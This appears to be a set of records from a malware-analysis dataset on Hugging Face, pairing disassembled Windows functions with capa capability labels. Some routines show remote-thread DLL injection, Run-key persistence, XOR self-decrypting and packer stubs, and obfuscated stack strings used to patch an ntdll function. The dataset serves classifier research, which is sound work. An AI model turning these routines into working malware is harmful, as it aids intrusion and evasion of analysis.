joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40f020
Capabilities:
Copy file
Set file attributes

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ebx
xor eax, eax
push ebp
push 0x40f253
push dword fs:[eax]
mov dword fs:[eax], esp
lea ecx, [ebp - 4]
mov edx, 0x40f268
mov eax, dword [0x4429e8]
call fcn.004067d8
mov edx, dword [ebp - 4]
mov eax, 0x442a10
call fcn.00403b60
mov edx, 0x4429f0
mov eax, dword [0x442a10]
call fcn.0040e600
cmp edx, dword [0x442a18]
jne 0x40f07c
cmp eax, dword [0x442a14]
jb 0x40f0c3
jmp 0x40f07e
jl 0x40f0c3
push 0x50040
push dword [0x442a08]
push 0x40f284
push 0x40f294
lea eax, [ebp - 8]
mov edx, 3
call fcn.00403e68
mov eax, dword [ebp - 8]
call fcn.00403fa8
push eax
push 0x40f2a0
mov eax, dword [0x4428a8]
mov eax, dword [eax + 0x1c]
push eax
call sub.user32.dll_MessageBoxA_2
push 0
call sub.kernel32.dll_ExitProcess_1
cmp dword [0x442a00], 0
je 0x40f0d2
call dword [0x442a00]
call fcn.0040e86c
test al, al
jne 0x40f0e2
push 0
call sub.kernel32.dll_ExitProcess_1
push 0
mov eax, dword [0x442a10]
call fcn.00403fa8
push eax
lea edx, [ebp - 0xc]
xor eax, eax
call fcn.00406478
mov eax, dword [ebp - 0xc]
call fcn.00403fa8
push eax
call sub.kernel32.dll_CopyFileA
test eax, eax
jne 0x40f171
push 0x50030
push dword [0x442a08]
push 0x40f284
push 0x40f2dc
lea eax, [ebp - 0x10]
mov edx, 3
call fcn.00403e68
mov eax, dword [ebp - 0x10]
call fcn.00403fa8
push eax
call sub.kernel32.dll_GetLastError
lea edx, [ebp - 0x18]
call fcn.00405bf8
mov ecx, dword [ebp - 0x18]
lea eax, [ebp - 0x14]
mov edx, 0x40f2f4
call fcn.00403df4
mov eax, dword [ebp - 0x14]
call fcn.00403fa8
push eax
mov eax, dword [0x4428a8]
mov eax, dword [eax + 0x1c]
push eax
call sub.user32.dll_MessageBoxA_2
push 0
call sub.kernel32.dll_ExitProcess_1
push 0x80
mov eax, dword [0x442a10]
call fcn.00403fa8
push eax
call sub.kernel32.dll_SetFileAttributesA
push dword [0x442a1c]
push 0x40f31c
push 0x40f330
push dword [0x4429f8]
lea eax, [ebp - 0x1c]
mov edx, 4
call fcn.00403e68
mov edx, dword [ebp - 0x1c]
mov eax, 0x80000002
call fcn.00406708
mov ebx, eax
push 0
push 0x400
mov eax, dword [0x442a10]
call fcn.004065cc
call fcn.00404604
mov ecx, eax
mov edx, 0x40f33c
mov eax, ebx
call fcn.0040683c
mov ecx, dword [0x4429ec]
mov edx, 0x40f354
mov eax, ebx
call fcn.00406874
mov eax, ebx
call fcn.004068b4
push 0x50040
push dword [0x442a08]
push 0x40f284
push 0x40f294
lea eax, [ebp - 0x20]
mov edx, 3
call fcn.00403e68
mov eax, dword [ebp - 0x20]
call fcn.00403fa8
push eax
push 0x40f364
mov eax, dword [0x4428a8]
mov eax, dword [eax + 0x1c]
push eax
call sub.user32.dll_MessageBoxA_2
call fcn.0040e8f8
Function at 0x40f384
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ebx
xor eax, eax
push ebp
push 0x40f505
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.0040e86c
test al, al
jne 0x40f3af
push 0
call sub.kernel32.dll_ExitProcess_1
push 0
push 0
push 0x40f51c
push dword [0x4429f8]
push 0x40f534
lea eax, [ebp - 4]
mov edx, 3
call fcn.00403e68
mov eax, dword [ebp - 4]
call fcn.00403fa8
push eax
push 0x40f538
push 0
push 0
call sub.shell32.dll_ShellExecuteA
lea eax, [ebp - 8]
mov ecx, dword [0x4429f8]
mov edx, 0x40f54c
call fcn.00403df4
mov edx, dword [ebp - 8]
mov eax, 0x80000002
call fcn.0040dcd0
push dword [0x442a1c]
push 0x40f560
push 0x40f574
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.00403e68
mov edx, dword [ebp - 0xc]
mov eax, 0x80000002
call fcn.004066d8
mov ebx, eax
mov edx, dword [0x4429f8]
mov eax, ebx
call fcn.004068c0
mov eax, ebx
call fcn.004068b4
push 0x50040
push dword [0x442a08]
push 0x40f580
push 0x40f590
lea eax, [ebp - 0x10]
mov edx, 3
call fcn.00403e68
mov eax, dword [ebp - 0x10]
call fcn.00403fa8
push eax
push 0x40f59c
mov eax, dword [0x4428a8]
mov eax, dword [eax + 0x1c]
push eax
call sub.user32.dll_MessageBoxA_2
push 0
push 0
push 0x40f5c0
push dword [0x4429f4]
push 0x40f5d8
lea edx, [ebp - 0x18]
mov eax, dword [0x4429f4]
call fcn.00406634
push dword [ebp - 0x18]
push 0x40f5ec
lea eax, [ebp - 0x14]
mov edx, 5
call fcn.00403e68
mov eax, dword [ebp - 0x14]
call fcn.00403fa8
push eax
lea edx, [ebp - 0x1c]
mov eax, 0x40f5f8
call fcn.0040e550
mov eax, dword [ebp - 0x1c]
call fcn.00403fa8
push eax
push 0
push 0
call sub.shell32.dll_ShellExecuteA
push 0
call sub.kernel32.dll_ExitProcess_1

Function at 0x40f600
Capabilities:
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
xor eax, eax
mov dword [ebp - 8], eax
xor eax, eax
push ebp
push 0x40f6b1
push dword fs:[eax]
mov dword fs:[eax], esp
lea ecx, [ebp - 8]
mov edx, 0x40f6c4
mov eax, dword [0x4429e8]
call fcn.004067d8
mov edx, dword [ebp - 8]
mov eax, 0x442a10
call fcn.00403b60
mov eax, dword [0x4429f8]
call fcn.00403fa8
push eax
push 4
push 0
push 4
push 0
push 0xffffffffffffffff
call sub.kernel32.dll_CreateFileMappingA
mov dword [0x442a20], eax
call sub.kernel32.dll_GetLastError
cmp eax, 0xb7
jne 0x40f66a
push 0
call sub.kernel32.dll_ExitProcess_1
push 4
push 0
push 0
push 0xf001f
mov eax, dword [0x442a20]
push eax
call sub.kernel32.dll_MapViewOfFile
mov dword [ebp - 4], eax
mov eax, dword [0x4428a8]
call fcn.0040cf88
mov edx, dword [ebp - 4]
mov dword [edx], eax
mov eax, dword [ebp - 4]
push eax
call sub.kernel32.dll_UnmapViewOfFile
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40f6b8
lea eax, [ebp - 8]
call fcn.00403b0c
ret
Function at 0x41194c
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff00
push ebx
push esi
mov esi, ecx
mov ebx, dword [ebp + 8]
push pe_nt_image_headers32
lea ecx, [ebp - 0x100]
push ecx
push edx
push eax
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x411985
mov ecx, eax
dec ecx
lea edx, [ebp - 0x100]
mov eax, ebx
call fcn.00403bfc
jmp 0x41198e
mov eax, ebx
mov edx, esi
call fcn.00403b60
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x411998
Capabilities:
Get geographical location

Disassembly:
push ebx
push esi
push edi
push ecx
mov ebx, ecx
mov esi, edx
mov edi, eax
push 2
lea eax, [esp + 4]
push eax
push esi
push edi
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x4119b9
mov al, byte [esp]
jmp 0x4119bb
mov eax, ebx
pop edx
pop edi
pop esi
pop ebx
ret

Function at 0x412050
Capabilities:
Write file on windows

Disassembly:
add esp, 0xfffffbbc
push 0x400
lea ecx, [esp + 0x48]
call 0x411eb8
mov eax, dword [0x441588]
cmp byte [eax], 0
je 0x4120cc
mov eax, dword [0x4414e4]
call fcn.00402ab4
call fcn.0040298c
lea eax, [esp + 0x44]
push eax
lea eax, [esp + 0x48]
push eax
call sub.user32.dll_CharToOemA
push 0
lea eax, [esp + 4]
push eax
lea eax, [esp + 0x4c]
call fcn.00410e20
push eax
lea eax, [esp + 0x50]
push eax
push 0xfffffffffffffff4
call sub.kernel32.dll_GetStdHandle_1
push eax
call sub.kernel32.dll_WriteFile_1
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x412114
push 0xfffffffffffffff4
call sub.kernel32.dll_GetStdHandle_1
push eax
call sub.kernel32.dll_WriteFile_1
jmp 0x412102
push 0x40
lea eax, [esp + 8]
push eax
mov eax, dword [0x4414c4]
mov eax, dword [eax + 4]
push eax
mov eax, dword [0x442660]
call fcn.0040490c
push eax
call sub.user32.dll_LoadStringA_1
push 0x2010
lea eax, [esp + 8]
push eax
lea eax, [esp + 0x4c]
push eax
push 0
call sub.user32.dll_MessageBoxA_1
add esp, 0x444
ret

Function at 0x412af0
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
xor edx, edx
mov dword [ebp - 0xc], edx
xor edx, edx
push ebp
push 0x412b54
push dword fs:[edx]
mov dword fs:[edx], esp
push 7
lea edx, [ebp - 7]
push edx
push 0x1004
push eax
call sub.kernel32.dll_GetLocaleInfoA_1
lea eax, [ebp - 0xc]
lea edx, [ebp - 7]
mov ecx, 7
call fcn.00403d60
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_GetACP
mov edx, eax
pop eax
call fcn.00410ce8
mov ebx, eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x412b5b
lea eax, [ebp - 0xc]
call fcn.00403b0c
ret
Function at 0x421b28
Capabilities:
Read file on windows

Disassembly:
push ebx
add esp, 0xfffffff0
mov ebx, eax
push 4
push 0x1000
mov eax, dword [ebx + 0x50]
push eax
push 0
call sub.kernel32.dll_VirtualAlloc_1
mov dword [esp], eax
push 0
push 0
call fcn.00402b74
fild qword [ebx + 0x58]
fmulp st(1)
add esp, 0xfffffff8
fstp qword [esp]
wait
lea eax, [esp + 0x18]
call fcn.004061b8
mov eax, dword [esp + 0x10]
mov edx, dword [esp + 0x14]
push edx
push eax
mov eax, dword [ebx + 0x50]
dec eax
xor edx, edx
not eax
not edx
and eax, dword [esp]
and edx, dword [esp + 4]
add esp, 8
push edx
push eax
mov eax, dword [ebx + 0x28]
push eax
call sub.kernel32.dll_SetFilePointerEx
push 0
lea eax, [esp + 8]
push eax
mov eax, dword [ebx + 0x50]
push eax
mov eax, dword [esp + 0xc]
push eax
mov eax, dword [ebx + 0x28]
push eax
call sub.kernel32.dll_ReadFile
push 0x8000
push 0
mov eax, dword [esp + 8]
push eax
call sub.kernel32.dll_VirtualFree_1
add esp, 0x10
pop ebx
ret
Function at 0x42b708
Capabilities:
Create process on windows

Disassembly:
push ebx
mov bl, byte [0x442c28]
xor bl, 1
test bl, bl
je 0x42b752
push 0x50044
mov eax, dword [0x442c44]
call fcn.00403fa8
push eax
push 0x42b758
mov eax, dword [0x4428a8]
mov eax, dword [eax + 0x1c]
push eax
call sub.user32.dll_MessageBoxA_2
cmp eax, 6
jne 0x42b752
push 5
push 0
push 0
push 0x42b7b0
push 0
push 0
call sub.shell32.dll_ShellExecuteA
mov eax, ebx
pop ebx
ret
Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x430002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
mov eax, section..text
nop
push 4
nop
nop
nop
nop
nop
nop
pop edi
nop
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
je 0x430072
nop
nop
mov ebx, 0x408ecc
nop
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
sub ecx, eax
nop
xor edx, edx
nop
nop
nop
push eax
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
pop eax
nop
nop
nop
nop
nop
mov esi, 0x4440795e
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
loop 0x430060
nop
nop
nop
nop
mov eax, section..data_1
cmp eax, 0
nop
nop
nop
nop
nop
je 0x4300d2
nop
nop
mov ebx, 0x42e1d0
nop
nop
nop
nop
nop
mov ecx, ebx
sub ecx, eax
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
xchg ecx, eax
nop
nop
pop eax
nop
nop
nop
nop
nop
mov esi, 0x56515009
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
loop 0x4300c0
nop
popal
nop
nop
nop
nop
jmp 0x401219
Function at 0x668c13a5
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x238
mov dword [ebp - 0xc], 0
mov dword [esp + 8], 0x100
lea eax, [ebp - 0x10c]
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._GetModuleFileNameA_12
sub esp, 0xc
test eax, eax
jne 0x668c13f4
call sym._GetLastError_0
mov dword [esp + 4], eax
mov dword [esp], str.GetModuleFileName___failed_with_error_code__d_n
call sym._printf
jmp 0x668c1556
mov dword [esp + 4], 0x5c
lea eax, [ebp - 0x10c]
mov dword [esp], eax
call sym._strrchr
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x668c142d
call sym._GetLastError_0
mov dword [esp + 4], eax
mov dword [esp], str.strrchr___failed_with_error_code__d_n
call sym._printf
jmp 0x668c1556
mov eax, dword [ebp - 0xc]
mov byte [eax], 0
lea eax, [ebp - 0x20c]
mov dword [eax], 0x74666f53
mov dword [eax + 4], 0x65726177
mov dword [eax + 8], 0x63694d5c
mov dword [eax + 0xc], 0x6f736f72
mov dword [eax + 0x10], 0x575c7466
mov dword [eax + 0x14], 0x6f646e69
mov dword [eax + 0x18], 0x435c7377
mov dword [eax + 0x1c], 0x65727275
mov dword [eax + 0x20], 0x6556746e
mov dword [eax + 0x24], 0x6f697372
mov dword [eax + 0x28], 0x75525c6e
mov word [eax + 0x2c], 0x6e
mov dword [ebp - 0x210], 0
lea eax, [ebp - 0x210]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0xf003f
mov dword [esp + 8], 0
lea eax, [ebp - 0x20c]
mov dword [esp + 4], eax
mov dword [esp], 0x80000001
call sym._RegOpenKeyExA_20
sub esp, 0x14
test eax, eax
je 0x668c14e3
call sym._GetLastError_0
mov dword [esp + 4], eax
mov dword [esp], str.RegOpenKeyEx___failed_with_error_code__d_n
call sym._printf
jmp 0x668c1556
lea eax, [ebp - 0x10c]
mov dword [esp], eax
call sym._strlen
mov edx, eax
mov eax, dword [ebp - 0x210]
mov dword [esp + 0x14], edx
lea edx, [ebp - 0x10c]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 1
mov dword [esp + 8], 0
mov dword [esp + 4], str.MyApp
mov dword [esp], eax
call sym._RegSetValueExA_24
sub esp, 0x18
test eax, eax
je 0x668c1545
call sym._GetLastError_0
mov dword [esp + 4], eax
mov dword [esp], str.RegSetValueEx___failed_with_error_code__d_n
call sym._printf
jmp 0x668c1556
mov eax, dword [ebp - 0x210]
mov dword [esp], eax
call sym._RegCloseKey_4
sub esp, 4
leave
ret
Function at 0x668c15e6
Capabilities:
Create thread
Inject dll
Inject thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
add eax, 1
mov dword [ebp - 0xc], eax
mov dword [esp], str.kernel32.dll
call sym._GetModuleHandleA_4
sub esp, 4
mov dword [esp + 4], str.LoadLibraryA
mov dword [esp], eax
call sym._GetProcAddress_8
sub esp, 8
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0x1f0fff
call sym._OpenProcess_12
sub esp, 0xc
mov dword [ebp - 0x14], eax
mov dword [esp + 0x10], 4
mov dword [esp + 0xc], 0x1000
mov eax, dword [ebp - 0xc]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._VirtualAllocEx_20
sub esp, 0x14
mov dword [ebp - 0x18], eax
mov dword [esp + 0x10], 0
mov eax, dword [ebp - 0xc]
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x18]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._WriteProcessMemory_20
sub esp, 0x14
mov eax, dword [ebp - 0x10]
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov edx, dword [ebp - 0x18]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._CreateRemoteThread_28
sub esp, 0x1c
mov dword [ebp - 0x1c], eax
mov dword [esp + 4], 0xffffffff
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sym._WaitForSingleObject_8
sub esp, 8
mov dword [esp + 0xc], 0x8000
mov eax, dword [ebp - 0xc]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x18]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._VirtualFreeEx_16
sub esp, 0x10
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
nop
leave
ret

Function at 0x668c1ce0
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov dword [esp], 0x668c603c
call sym._EnterCriticalSection_4
mov ebx, dword [0x668c6034]
sub esp, 4
test ebx, ebx
je 0x668c1d2b
nop
mov eax, dword [ebx]
mov dword [esp], eax
call sym._TlsGetValue_4
sub esp, 4
mov esi, eax
call sym._GetLastError_0
test eax, eax
jne 0x668c1d24
test esi, esi
je 0x668c1d24
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x668c1d00
mov dword [esp], 0x668c603c
call sym._LeaveCriticalSection_4
sub esp, 4
add esp, 0x14
pop ebx
pop esi
ret

Function at 0x668c1f10
Capabilities:
Write file on windows

Disassembly:
push esi
push ebx
sub esp, 0x14
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x17
mov dword [esp + 4], 1
lea esi, [esp + 0x24]
mov dword [esp], 0x668c4320
lea ebx, [eax + 0x40]
mov dword [esp + 0xc], ebx
call sym._fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._vfprintf
call sym._abort
lea esi, [esi]
Function at 0x668c1f60
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
push edi
mov edi, ecx
push esi
push ebx
mov ebx, eax
mov esi, edx
sub esp, 0x4c
lea eax, [esp + 0x24]
mov dword [esp + 8], 0x1c
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._VirtualQuery_12
sub esp, 0xc
test eax, eax
je 0x668c2038
mov eax, dword [esp + 0x38]
cmp eax, 0x40
je 0x668c1f9e
cmp eax, 4
jne 0x668c1fc0
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call sym._memcpy
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [esp + 0x30]
lea ebp, [esp + 0x20]
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], ebp
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
mov edx, dword [esp + 0x38]
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
mov dword [esp + 0x1c], edx
call sym._memcpy
mov edx, dword [esp + 0x1c]
cmp edx, 0x40
je 0x668c1fae
cmp edx, 4
je 0x668c1fae
mov eax, dword [esp + 0x20]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1c
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
call fcn.668c1f10

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x406a06
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x23c
push esi
mov esi, 0x104
lea eax, [ebp - 0x23c]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
cmp eax, esi
pop esi
jbe 0x406a2a
xor eax, eax
test eax, eax
je 0x406a3d
cmp word [ebp + eax*2 - 0x23e], 0x5c
je 0x406a3d
xor ecx, ecx
jmp 0x406a40
xor ecx, ecx
inc ecx
push dword [ebp + 8]
lea ecx, [ecx*2 + 0x40a014]
lea eax, [ebp + eax*2 - 0x23c]
push ecx
push str._s_S.dll
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
lea eax, [ebp - 0x23c]
push 8
push 0
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
leave
ret 4

Function at 0x406b63
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x45bdec], 0
push esi
jne 0x406b9a
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x406b74
mov dword [ecx*4 + 0x45bde8], eax
inc ecx
cmp ecx, 0x100
jl 0x406b6f
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x406bcb
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x45bde8]
xor eax, esi
inc ecx
dec edx
jne 0x406bad
pop edi
not eax
pop esi
ret 0xc

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x762060
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
lea eax, [0x7620a2]
lea ecx, [0x7620aa]
sub ecx, eax
mov dword [ebp - 4], ecx
lea eax, [ebp - 8]
push eax
push 0x40
mov ecx, dword [ebp - 4]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x7620c6
mov edi, dword [ebp + 8]
lea esi, [0x7620a2]
mov ecx, dword [ebp - 4]
rep movsb byte es:[edi], byte [esi]
jmp 0x7620c1
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x7620d0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov cl, 0x65
mov al, 0x6d
mov byte [ebp - 0xa], cl
mov byte [ebp - 9], al
mov byte [ebp - 8], al
mov byte [ebp - 6], cl
mov byte [ebp - 5], al
mov byte [ebp - 4], al
mov cl, 0x6a
mov al, 0x66
push esi
mov dl, 0x75
push edi
mov byte [ebp - 0x1c], cl
mov byte [ebp - 0x1a], al
mov byte [ebp - 0x16], al
mov byte [ebp - 0x13], al
mov byte [ebp - 0x10], cl
mov byte [ebp - 0xb], dl
mov byte [ebp - 0x17], dl
lea edi, [ebp - 0xc]
or ecx, 0xffffffff
xor eax, eax
mov byte [ebp - 0xc], 0x6f
mov byte [ebp - 7], 0x2f
mov byte [ebp - 3], 0
xor edx, edx
mov byte [ebp - 0x20], 0x45
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov byte [ebp - 0x1f], 0x63
mov byte [ebp - 0x1e], 0x68
mov byte [ebp - 0x1d], 0x56
mov byte [ebp - 0x1b], 0x53
mov byte [ebp - 0x19], 0x6e
mov byte [ebp - 0x18], 0x70
mov byte [ebp - 0x15], 0x43
mov byte [ebp - 0x14], 0x73
mov byte [ebp - 0x12], 0x62
mov byte [ebp - 0x11], 0x6c
mov byte [ebp - 0xf], 0x6f
mov byte [ebp - 0xe], 0
je 0x762176
mov cl, byte [ebp + edx - 0xc]
lea edi, [ebp - 0xc]
dec cl
xor eax, eax
mov byte [ebp + edx - 0xc], cl
or ecx, 0xffffffff
inc edx
repne scasb al, byte es:[edi]
not ecx
dec ecx
cmp edx, ecx
jb 0x76215a
lea eax, [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov esi, eax
test esi, esi
jne 0x76218c
pop edi
pop esi
mov esp, ebp
pop ebp
ret
lea edi, [ebp - 0x20]
or ecx, 0xffffffff
xor eax, eax
xor edx, edx
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x7621b9
mov al, byte [ebp + edx - 0x20]
lea edi, [ebp - 0x20]
dec al
or ecx, 0xffffffff
mov byte [ebp + edx - 0x20], al
xor eax, eax
inc edx
repne scasb al, byte es:[edi]
not ecx
dec ecx
cmp edx, ecx
jb 0x76219d
lea ecx, [ebp - 0x20]
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x7621d1
push eax
call fcn.00762060
add esp, 4
pop edi
mov eax, 1
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x762640
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xf4
push ebx
push edi
call fcn.00767d10
mov ebx, dword [0x82e478]
mov ecx, dword [0x76c09c]
mov eax, ebx
sub eax, ecx
jne 0x762742
mov edi, dword [0x76cbce]
test edi, edi
je 0x762742
cmp word [ebx], 0x5a4d
je 0x762691
push 0xc1
call dword [sym.imp.KERNEL32.dll_SetLastError]
call fcn.00764040
pop edi
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [ebx + 0x3c]
add eax, ebx
cmp dword [eax], 0x4550
je 0x7626b4
push 0xc1
call dword [sym.imp.KERNEL32.dll_SetLastError]
call fcn.00764040
pop edi
pop ebx
mov esp, ebp
pop ebp
ret
mov cx, word [eax + 6]
xor edx, edx
mov dx, word [eax + 0x14]
test cx, cx
lea eax, [edx + eax + 0x18]
jbe 0x7626d7
and ecx, 0xffff
mov edx, eax
add eax, 0x28
dec ecx
jne 0x7626cd
jmp 0x7626da
mov edx, dword [ebp - 4]
push esi
mov esi, dword [edx + 0xc]
push 0x10
lea eax, [ebp - 0xf4]
push 0x76cbbe
push eax
add esi, ebx
call fcn.0076b110
push edi
lea ecx, [ebp - 0xf4]
push esi
push ecx
call fcn.0076b370
lea edx, [ebp - 0xf4]
lea eax, [ebp - 0x24]
push edx
push eax
call fcn.0076b390
push 0x20
lea ecx, [ebp - 0x24]
push 0x76cb9e
push ecx
call fcn.00763800
add esp, 0x2c
test eax, eax
pop esi
je 0x762742
push 0xc76
push 0
push 0x76c078
call fcn.007637b0
add esp, 0xc
call fcn.00764040
pop edi
pop ebx
mov esp, ebp
pop ebp
ret